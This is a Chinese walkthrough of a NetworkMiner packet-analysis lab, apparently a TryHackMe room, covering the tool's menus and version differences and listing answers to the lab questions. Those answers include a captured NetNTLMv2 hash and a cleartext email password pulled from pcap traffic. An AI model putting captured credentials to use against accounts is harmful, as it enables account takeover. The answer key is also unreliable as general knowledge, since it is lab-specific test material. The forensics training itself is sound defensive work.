- HTTP Cookie
- HTTP请求
- IMAP
- FTP
- SMTP
- MS SQL
右键菜单在这里也很有用。您可以轻松复制用户名和密码。

总共有多少帧?


python
460
有多少个 IP 地址与主机 145.253.2.203 使用相同的 MAC 地址?

python
2
主机 65.208.228.223 发送了多少个数据包?

python
72
主机 65.208.228.223 下的 Web 服务器的banner,即指纹类型是什么?

python
apache
02694W-WIN10 主机的提取用户名是什么?

python
#B\Administrator
登录到 02694W-WIN10 主机的用户的已提取密码是什么?请输入完整的 NTLM 哈希值。
python
$NETNTLMv2$#B$136B077D942D9A63$FBFF3C253926907AAAAD670A9037F2A5$01010000000000000094D71AE38CD60170A8D571127AE49E00000000020004003300420001001E003000310035003600360053002D00570049004E00310036002D004900520004001E0074006800720065006500620065006500730063006F002E0063006F006D0003003E003000310035003600360073002D00770069006E00310036002D00690072002E0074006800720065006500620065006500730063006F002E0063006F006D0005001E0074006800720065006500620065006500730063006F002E0063006F006D00070008000094D71AE38CD601060004000200000008003000300000000000000000000000003000009050B30CECBEBD73F501D6A2B88286851A6E84DDFAE1211D512A6A5A72594D340A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E00360036002E0033003600000000000000000000000000
工具概述 2
文件
文件菜单显示从已分析的 pcap 文件中提取的文件。本部分提供以下信息:
- 车架号
- 文件名
- 扩大
- 尺寸
- 源地址和目标地址
- 始发港和目的港
- 协议
- 时间戳
- 重建路径
- 细节
部分功能(例如开源情报哈希值查找和样本提交)仅在高级版中可用。搜索栏也在此处可用。右键菜单在此也十分实用。您可以轻松打开文件和文件夹,并查看文件的详细信息。

图片
文件菜单显示从分析的 pcap 文件中提取的图像。右键菜单在这里也很有用。您可以轻松打开文件并放大缩小。

将鼠标悬停在图像上,即可显示文件的详细信息(源地址、目标地址和文件路径)。

参数
文件菜单显示从所分析的 pcap 文件中提取的参数。本部分提供以下信息:
- 参数名称
- 参数值
- 车架号
- 源主机和目标主机
- 始发港和目的港
- 时间戳
- 细节
右键菜单在这里也很有用。您可以轻松复制参数和值。

关键词(keyword)
文件菜单显示从已分析的 pcap 文件中提取的关键词。本部分提供以下信息:
- 车架号
- 时间戳
- 关键词
- 语境
- 源主机和目标主机
- 始发港和目的港
如何筛选关键词:
- 添加关键词
- 重新加载案件档案!
注意: 您可以在此部分筛选多个关键词;但是,更新搜索关键词后,您必须重新加载案例文件。关键词搜索会搜索已处理 pcap 文件中的所有可能数据。

消息
消息菜单显示从已调查的 pcap 文件中提取的电子邮件、聊天记录和消息。本部分提供以下信息:
- 车架号
- 源主机和目标主机
- 协议
- 发件人(From)
- 接收器(至)
- 时间戳
- 尺寸
筛选流量并找到匹配项后,您将看到所选邮件的更多详细信息,例如附件和属性。请注意,此处也提供搜索栏。右键菜单也在此处可用。您可以使用内置查看器查看整体信息,并使用"打开文件"选项浏览附件。

异常
异常菜单会显示已处理pcap文件中检测到的异常。请注意,NetworkMiner 并非入侵检测系统(IDS)。但是,开发者添加了一些针对 EternalBlue 漏洞利用和欺骗攻击的检测功能。

请回答以下问题
与帧 63075 关联的文件中提到的 Linux 发行版的名称是什么?

打开对应的文件即可发现是什么操作系统
python
CentOS
与第 75942 帧关联的页面的页眉是什么?
同理打开对应的帧文件
python
Password-Ned AB
图片"ads.bmp.2E5F0FD9[1].bmp"的源地址是什么?
筛选关键字或者你直接去找图片

python
80.239.178.187
可能出现TLS异常的帧号是多少?
python
36255
查看邮件内容。哪个平台发送了主题以"您还有更多"开头的邮件?
点开message的页面tab即可知道
python
Facebook
Branson Matheson的电子邮件地址是什么?
同理查看message
python
branson@sandsite.org
版本差异
和往常一样,随着版本升级,功能改进也在所难免。版本升级通常会带来稳定性提升、安全修复和新功能。这里提到的功能部分比较复杂。功能升级可能包括实现新功能,也可能包括更新现有功能(例如优化、修改或操作模式调整)。您可以随时在此处:https://www.netresec.com/?page=NetworkMiner查看更新日志。
由于不同版本之间存在一些显著差异,因此提供的虚拟机同时包含了两个主要版本(v1.6 和 v2.7)。当然,随着程序版本的提升,功能和范围也会相应增加。以下是版本 1.6 和 2.7 之间的主要区别。具体如下:
MAC地址处理
NetworkMiner 2 及更高版本可以处理 MAC 地址关联,如下图所示。此选项可帮助您识别是否存在 MAC 地址冲突。2 及更早版本不具备此功能。

NetworkMiner 1.6 及更早版本可以更详细地处理数据包。这些选项可以帮助您以更详细的格式分析已发送/已接收的数据包。1.6 及更高版本不再提供此功能。

帧处理
NetworkMiner 1.6 及更早版本支持帧处理。此选项提供帧的数量以及帧的基本信息。1.6 及更高版本不再提供此功能。

参数处理
NetworkMiner 2 及更高版本可以处理更全面的参数。因此,1.6.xx 版本支持的参数比 2 版本少。

NetworkMiner 1.6 及更早版本可以处理明文数据。此选项会在单个标签页中显示所有提取的明文数据,便于分析流量数据的明文信息。但是,无法将明文数据与数据包进行匹配。1.6 及更高版本不再提供此功能。

请回答以下问题。
哪个版本可以检测重复的MAC地址?
python
2.7
哪个版本可以处理帧?
python
1.6
哪个版本可以提供更详细的数据包信息?
python
1.6
练习

主机 131.151.37.122 的操作系统名称是什么?

python
Windows - Windows NT 4
调查主机 131.151.37.122 和 131.151.32.91。
通过端口 1065 从主机 131.151.32.91 向主机 131.151.37.122 接收了多少字节的数据?
这里问的是1065端口,不能直接看received,邀去看sessions那里看对应的端口字节数,还要看是主机131.151.32.91 向主机 131.151.37.122接收的数据

python
192
调查主机 131.151.37.122 和 131.151.32.21。
通过端口 143 从主机 131.151.37.122 向主机 131.151.32.21 接收了多少字节的数据?

python
20769
第 9 帧的序列号是多少?

python
2AD77400
检测到的"内容类型"有多少种?

python
2
该USB产品的品牌名称是什么?
向下浏览结果,我发现一个特别之处。在"文件名"列中,我们看到 hi-Speed-usb2.0_ax99772.htm。我认为这表明它指的是实际的 USB 设备。因此,如果我们向右移动到"源主机"列,可以看到一个域名,这个域名就是 USB 设备的品牌,也是这个问题的答案。找到答案后,将其输入到 TryHackMe 的答案字段中,然后点击提交。

python
ASIX
请问这款手机的型号是什么?

python
Lumia 535
这张鱼的图片来源IP地址是什么?

python
50.22.95.9
"homer.pwned.se@gmx.com"的密码是什么?

python
spring2015
第 62001 帧的 DNS 查询是什么?

python
pop.gmx.com
















